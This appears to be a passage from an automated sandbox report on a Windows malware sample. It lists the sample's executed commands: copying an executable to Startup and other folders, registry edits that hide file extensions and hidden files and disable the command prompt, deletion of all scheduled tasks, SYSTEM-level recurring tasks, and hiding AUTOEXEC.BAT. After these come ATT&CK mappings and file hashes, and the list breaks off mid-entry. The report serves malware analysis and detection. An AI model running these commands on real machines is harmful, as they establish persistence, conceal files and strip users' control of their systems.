    PID:2952
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1504
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:320
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:2876
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1784
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2912
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:732
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:1016
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:1600
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:2180
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1644
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2084
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:524
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:2276
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2864
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2748
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:3036
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2704
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2044
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:2436
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2520
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:2008
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2528
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:544
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:1048
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1604
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:1088
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2872
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:2352
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:2828
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:2724
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2816
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2588
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2600
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:648
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2052
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    PID:1292
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2020
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1016
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1476
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:1620
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1472
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:2504
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:304
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:1516
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:2108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1712
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:1972

C:\Users\Admin\AppData\Local\Temp\0bd7d7dabe45fe525f5d1a4a6f873e51.exe
"C:\Users\Admin\AppData\Local\Temp\0bd7d7dabe45fe525f5d1a4a6f873e51.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\AUTOEXEC.BAT

Filesize
4KB

MD5
2f3894359fbb6fb8f94c62049c64aa85

SHA1
9f4bbdabaf9a48eae34fcfa19a23edd0c748d2be

SHA256
7c0570d4b383b7f178153b5246ade60265f590851f9eb482f08643f40b4ce54e

SHA512
304630e0fcedf053d9394744e247232ceeff9e436ef42d8f4090ca039ae262b690a48a026450bab88783cb744b06f50e3dfabad0e39fd845144590b8c212da0e

Download Submit
C:\AUTOEXEC.BAT

Filesize
9KB

MD5
880a199f243f0106599502734b51a636

SHA1
698a490fb8adff67b3e5cf81ab7120766c532696

SHA256
9f43e0b1ace48d89f1086e17f1fceb3867bda389c1c745047ae3e1efbe9b761c

SHA512
627939b6b0122647f6921c16bb22f5d06557c9ec5d6d50aaa5fc5f3c3ce7a95b8514512d264774397511bd527d8731b05a24d2fd49c2f6390a08628fd7ba5ece

Download Submit
C:\AUTOEXEC.BAT

Filesize
12B

MD5
eeb086a7854dae6cdce64f49eb87d64c

SHA1
82a3a261651432b1b3e29d7d8def566b1b18cf2a

SHA256
5822c2222c4a4121a1667c7d483ff8b91e489a4c5e881c75a4354712bfe6f435

SHA512
3d38272520b97022539d93e206a58c3398ccf30758eef2d31a976a8cb84686f37cc2729efa9d49ad85bd3590ab5baec071772b8eaa2c82db3443a189329cc431

Download Submit
C:\AUTOEXEC.BAT

Filesize
595B

MD5
45381b52af23d8eb369715edbf7ef72a

SHA1
15a03db82efbffc22de8cc9f1b3b06bc337bd6d0

SHA256
1e6e919bf39872773599a6a7bec59a0cc4967b2be6bf6ed6f459d14e93c9e501

SHA512
e27f0b1fe364081fbe18895d9487041593bc2e08ecffa90e796f9eb735f0ede264cfc3d468c67dd9e98fef70bb82252b762aaa680e661c20b6e201cd0ca537c6

Download Submit
C:\AUTOEXEC.BAT

Filesize
649B

MD5
e079ebe17690bb94cbdc314f2c3db013

SHA1
d6c07e3756ed1dcb3e0f80f9b1daf047564fb249

SHA256
cc500432dc1c870a0db5a09c592ad3cddd8d3f9313d6e74b5c2c1aa71fc1c5ae

SHA512
731f23d01479d94df4e422f24e1e6f1c6f736029b3c46107ada5cd9860cf6b207292ebeef0303a5d9c0abbdad4b14eb0126703390d9488b36d4f4c88583adeb6

Download Submit
C:\AUTOEXEC.BAT

Filesize
701B

MD5
2d04b922ac7e4d4623f6f38f6d23cd2f

SHA1
1a57d9a88c2c36cf32207b521ff0f3d7cd1d4466

SHA256
fd7befb5abab55b73160fea08173968271eb413f1db3f24f043cc2848ebd2041

SHA512
e92713266175a586d248cab9ed8c64a02537fcbcccbaf9fda04c9a3144db0278f94033b40b7156da08e1c08d4b123243d797da6eefdf1932c9e8edc0aa7a2a8e

Download Submit
C:\AUTOEXEC.BAT

Filesize
755B

MD5
becfee047c68147c7b5e5fc03ca97b5f

SHA1
aaa136314c46413d7327b3ce45c8f34fa29401f9

SHA256
ba2ca1f13c367d09e51f20db034701b131ecdd9738b4a8cc394ee6be6198ecc4

SHA512
03ee9c9dc17871941411233065be88e98e5b622a977e2e1af0bd2bcbb30db444f7bae2fc3a31fd1781a2da74b7b44921c7aba2e45f6bdcdc18825c558d7042ab

Download Submit
C:\AUTOEXEC.BAT

Filesize
807B

MD5
7bf3160fa77c2e369102f47ea9e82298

SHA1
8bea29e04ad82797b9aab3f94945b8e8e96a30ad

SHA256
291424db75e637b207ffad7cab5a1fe521e58dee6f00e4927c6959e803ad6f25

SHA512
afe96cd55bb0f257c813543c65c6f09195126f84858a840d93babbf7acef670c932a1066deebc292d4e41090f158eb26044838f210e267d7b3014d39f84db6fa

Download Submit
C:\AUTOEXEC.BAT

Filesize
891B

MD5
a17867bdecdd089e017a4ba43b2e3ef3

SHA1
dbb63a3ce09088833e60c199bf3959497ac9d70a

SHA256
abe079731ae7c9f116dca320b19b7587b4fabe212a690f3058f29e234029432b

SHA512
ed0d7c94998567352d78a9201ffaeb7b162609af4183fb99349014bb38a2fc4267cdc27f9ffa17662bc0493a5bd5834adaa3617cd7cfd278c1b53bdf92d1f4ae

Download Submit
C:\AUTOEXEC.BAT

Filesize
972B

MD5
69797d0e5c80c2710caf341f6f94cc72

SHA1
f8ffb470ade4fe3a0b835618db666607b69bdbf9

SHA256
c1ffa6c38936f643a105d8c8d191f7b325524656f719034dc3184e7dee814e0f

SHA512
80ec631f07077cac77f1d709874895f62fd25f2402bec663008acfd1d53412ba14edbee9f1853afaab48f751ad1f2299eea18f9a1885b2552cb761536724efe5

Download Submit
C:\AUTOEXEC.BAT

Filesize
1009B

MD5
8a3c7b3ce4af5d0bcce7ff6c0af23e3f

SHA1
81960cef8c2b5d8568a1cfb295e9bc852fce2b7e

SHA256
3ede50b59f29025709921d50c516ca67641e2ab35e8c2da7fe5f53a8042d4704

SHA512
100d02b62d14719df0484c7cc5cf8a4b51c626f08824ce48a748eb0ad6f08d5e0d1734ab1d99d7e8015da80ecca088c2c5a23328ae3a721e21e301c25a9034f2

Download Submit
C:\AUTOEXEC.BAT

Filesize
1020B

MD5
478ef337fc95f8ef631faeaafc1fbc9b

SHA1
7a035f11eab329d815804db6fb912bc8cb573815

SHA256
56ac98a2c4359c1207d5f89637fec1b0881258bd720536d9c2550f83e417f6db

SHA512
2df84dcaf72f140e75f56123cbb536e00f8767ad48e6afcdb132cc8c2b6c3da586e67db0b8d21efe31724ee546d5f4039f49b846d202546e6cb6083a6cc4db7a

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
fe20dada35f47593beb1925105ad99c5

SHA1
78e466f5a560cec288faf0269c99f257faa2ca4e

SHA256
c529b90c103f3d23b393d13c69ac70dc424d711fd72ae384f4fd91f783232cc6

SHA512
a7a1b265976338158817c72fa59d8658ba067f098f9f320428ddb2b266ea2a9a16767ac327c6c5952d11a5c8eaaf85429e9c33f468888b36dfc02b3fbb10eda4

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
96a6f6f3a271d2c04e8d41d52bf586f4

SHA1
ed82cf5dcfcf7addfd37c8920fb7d0140335fe85

SHA256
18513e917695464aabd38cb4a1f0ab82958f9208c9137d923114d3845fdb9561

SHA512
9d31ca77778f9a2852c60c69126cb195f9b90b50c4ca1746a4ecf8e065948bcebbcf1bbdece5cda6e9e6a88fe82d05d20d31bc4b05b91c04b982f209f4a6144e

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
5b4a61b379f742cd0ab0964731f04c20

SHA1
5c46436d4b9f5d398216080ef9475a4f24e63752

SHA256
180a91f60bd9b39256654c5d2b52c950f5a3bcfaf1233b1e8be055faca1d1fa7

SHA512
e68eadf12779e41d4d23c88a28263638429099d9bf20380265d15a1e359126e57f36712bc1105e79df373d0c1d1ff5b3204cf80a57f8479f92d92d8877d782cf

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
5e0b2dc41936e53bc9d69e5c84dcf1cb

SHA1
c7d81244dfd69d32e9d4c4b5d24e9fcaf11ad69c

SHA256
51548c7075614a642c18d737a9b7dff92e6593e299e56718b0e4eea94e02f71c

SHA512
c5491b68455b7783477fc39c609b8ee8adafa980ae749e2374317d53b55147f554d6e313ca45942494650107aba785c26d433ef859fa56aa646238768314842b

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
a9bf0bcae958e05854d490f157b953f5

SHA1
1c4d5dcbf90a1a23e40338669f11cb4eddc1b00d

SHA256
757aecd9935fe36fcf97277a78bbae72ffa19c50c49567deac12863037b22a96

SHA512
5fc3ed442ede9b5d4af1ebd58c8f6ea401f4b217a1ed98874754a5f50dda7558b3cc8741a6c999a39d35396b5dad8e67d19718b24b58bf8cdde1fbc45e21303b

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
710e8bbc45c7fe2418d189c689e0b8dc

SHA1
04df0fd38c7f90ade8b62f34ab4f0dbf700f713a

SHA256
eba1c241982715e8769f063e1ed3aa2143807e674bb709c89cafc8a4792c0b94

SHA512
d3d12e1db0acfe6b3d540989926b9755c3f39e25758c364e11e336a311740754297ad63dbbb881789932adcdec1111d5f94c42eab7edbbf30e3957dc10a33bce

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
52187fabcba424adf19ad40b3066fa49

SHA1
a5939c0eab46ca7db9441baa21c0725501d970ce

SHA256
a2ab5dae7be43b3a25a7e6e3b9d521b47757131dbe063d179d056ddd7046a6b2

SHA512
1180db4e98ddcc7f8aef929466a9b56bcc938ab98bf1d23aa78a845c20b30d9f2e6e9d43e1162397a733160ec9a5b085dab9abddb43660231434b845c25a8ac3

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
163b28f4f0e52f170a1407c29c6c0650

SHA1
a093a51385e718973e499fb256a14e60d920e4e3

SHA256
3706b3060b8bde6f2a1129bd4477235a0fa1371dc3b22d826019ecc17d5768b6

SHA512
cf09ee9b51722d2037d6096a192d64a84fdb64fcded341b052ac90478bf5b35909272f5dc55448f9eacc165bf04027c36587e34c3d3698c74ea4cfc63dadd7d4

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
8089c04d0c8405c909910b3281419c5c

SHA1
9188b7a6640544ef2b9af931c038e5bc3f677aa3

SHA256
1e18255adf6228951932a3827b07e0b71f20cd378b94e33e02771e2054ac8d2c

SHA512
4b81176a84170d9f28628af78290a06e14bfc6fb3ad72f2f646747cd670d70e1dfbb5b1f4aeb9bbf7dd7fdc1c3edb61c6bea296f481895113f01fc57e1af4780

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
b75b250c88fb0a2350da68adf4c552d4

SHA1
f7eba387d6bf28017bf53d441ce05c856726ffe8

SHA256
74a65653a5d33affa6ffa03e95e00d39cbb2c1fb5fb42e67b6cb31febb69b304

SHA512
278ee974cb5681b505c0eee50112e1e2013e12589341282657c5112e4eb37c751b28709a0ed7513044ae10611997984ec59e02a3b5bd9fedd5bc63fee5bdedde

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
3f2be6e47c8a8174847b7009a1caa88a

SHA1
964a7c6521b354a6e3f001a91ecfaba96556ce83

SHA256
fb253ec5ef2ac7ee5c73ce3fb76b5b17d78a5684937271ce2408bde007d98cb2

SHA512
489d96f29658bcaf7c5079e40a3e4cd005c655c25de0c387e70621bf6cb1ea31de777511aa421c03daa92f589113d64f51c23cd8a562235f23731829ac1aa9ea

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
1f3ff22496f454917d2d1fd460b34015

SHA1
716443ce69ef5c32204e83f5c6166bbc7262b587

SHA256
15ebdf532e44a2cbaa5c3acee8122c81d23078595125f2f3fee5361496004806

SHA512
0a2d85d998b6e2868d2d08aa667e2639ec68be1fbbddfb0a364bd25f992e5fadfe325074b9428ef428a8b2da40ff8cf50a79a4a2bd14c2a948ae0cabe0993967

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
27dcd7404a7173478ccdfa6561d3c761

SHA1
066bcda14450e03d2229da1d8967991e224281ad

SHA256
00162d5847cf6768200011975c233aa5257ed774c0fe35d8286bb78f9672c5e7

SHA512
6b85d107c111759a3a5fd946f324582657606c705e39fcfcf6670aefe2de26b0daeef997673d60db74fa0b16ed66b379cf9cd1b646e8474ae9a2b56c98ad3d43

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
4c643b9561b2cb6f247e1a973b5bd6f0

SHA1
3aa1072e2c8a2b1e3a0643540c546a2d90da6932

SHA256
942b43fb4af066c8ebddda21e9b95e04ece6ae313e81b9dc76dcd29cd904ab89

SHA512
76351578e2edb667de72b569f7ac9eef8561a131d5993167a8e08897044e239ff4fc992f651d18624f5812f4c47b9611eee19aaafb9adcbdd39377dc189aad82

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
89a12bc86838ff864ee4998f66f45903

SHA1
5903460e6c77b1c1f6c4e48cf8d20ef157f83f33

SHA256
4bffda2678db9f22f28d30cc9801dcba2b5eb1e69636a9e398a5f15779f8428b

SHA512
798b3f34479f4e886671abec03baef3117b757ce76491595724ae96fb4c98d173fc9cc3b4dc41915534b204668478e24ad99093c2d736c9a484e06078764e2ac

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
813931f55ba64388f10df344c2f4d12b

SHA1
6518d00cd1e388d287e1b11f305b9e3639acdeea

SHA256
76d1370dfc373ceea26ce048086b8fb5d95b05561be75510992468179ad641ac

SHA512
e86e8bf0a2f39175e1ec6467283d0e55fb5d83c4d3418b23f7ed349a3abe30c54ca63c0269f6ae3f3d1eb1a3b428b171c306d912f8acf2446242f5b8b1844af2

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
b41c6989d1e43c24d1d0d4823510aa61

SHA1
0d0c2e9eb6931b6db26a62fafa8e491d25387fc1

SHA256
8b98ab29d87fbb7e6227a28a234f45a0138b262d006cb5e760f570b37eb17601

SHA512
b636e4fe778246e89a87dbfd875531e3d323b5c573ecccf4eb263aad83e03bfba7d528de8a23e28c9e57e3eb37977ef6f4d0795bd430d17b57108b1127e680ac

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
548ed4d9f8551c7b6d012a5463727b1a

SHA1
10de770b985f1bd4c687df41456d7d327101e665

SHA256
ae4892ac261ccaec47f3d629c3ae73147eb794240ce1f0bd8fc0c2091df02211

SHA512
ece0a7605ff7d7fc816b5476d0bea676833e766efcf9970c0c3053203b1dd89a2964b4e5e3b190cc133e2cbd629ea92ce0560fef8a22703bcc35544835370846

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
adf1592fcf97ab4250549631fd8ee517

SHA1
2c7f85f7123e88918ef99ce785c30d024b26bd0d

SHA256
6e3ee8ab6f1ce5d1f0607ec739e2d333e596731551722a1e3b1b711c51a211ec

SHA512
8af0fafa35b384370f71561b573de2be06683d1bbacaeb9e9d335f0fb1e728e544db21a80312403978c4babec52f298a912c3bf6c442b79c57f6606031f48081

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
21c6df1565b97a04eb60ba0dc41d49eb

SHA1
e1db02704106a8f2d0a86440ad7a583245c799fc

SHA256
7191eccb42e4def69f7dddad115d99be124ed0c4d65346948d7a09e42358a2a0

SHA512
467bdab877f55a09d4c79e92ad494f2dd34771412dcec9d8609ed707721415b627f8faa4057face98c79d3ef5ee18ff8791ab3b54e7c0c4cb22af48f2148b15c

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
c5bc525f898974e1924bf514d15c636b

SHA1
00a7cb762508fbd37b45bff9ed408948250b03d3

SHA256
c538dff8dfb74497af336928e785b12d2a333ae203df91b20f94d6d17b4213d3

SHA512
0ea7424cf8a1cae4c83211b7520f38ef66f8ea42bdc489540924982df24a0e27160823d4e7b6f740723626ddc83871bddaa618c0e88299c2e835b668399fa9be

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
4c48617a8d0db27baa98e5c287098bcf

SHA1
6a2598d2841f75ee2321715eb30d04a3a348855b

SHA256
4febd67289a996149ef80d5334da8bcbc2870a197c9a7d9d107f162732c34fc1

SHA512
b9e64a2daa6391d5218736813fe81c72a5811f7a3688aacb298ae98152cf6638122df69c7733f0d9e56ac34190f20f18d47b23584a42f1ba7f778bfd26b4ba13

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
cbb4ec8735cc9eb17afb69e6bf5fc7a1

SHA1
fcf0eb387aa5d46f1bb71f1d752a21a07c791951

SHA256
ff84e9eb90dedf4cd86926ba3d8e9e6745989607ef703dd8dda3926b4cd0c2de

SHA512
c1a2f6b339668c0969a5f3b7404bdacc609b3d6cb8003040353980839a96e206b96daa5cfcf0f117d02287382044eaac1a1b180eda58375aaeeefef24ea110e2

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
49fa036c580964fbbb278b7ade5a0dab

SHA1
b4e0d2ac971844bfa3980a1c19b403ef91470651

SHA256
7bdbed099f3a6c3f5d30e8285ff18d12eab54e892538c6a7475d4da851cdefd5

SHA512
cc2b87a14a3a2728baa210ec8bffea5933feffb6e1fef93d84c4d61193a70b826e12c3899d6402f3d821a6130934a0bcb0cf08d0dab03099455278be5e426cf7

Download Submit
C:\AUTOEXEC.BAT

Filesize
1KB

MD5
7162a59f901c2969863ace48d2fc2b2a

SHA1
87a94730b8f7a65874c653988ea055ebf1d51602

SHA256
dc84e493e316c9e5d678038d1e879a61539a778d863e112e543472446e5daa75

SHA512
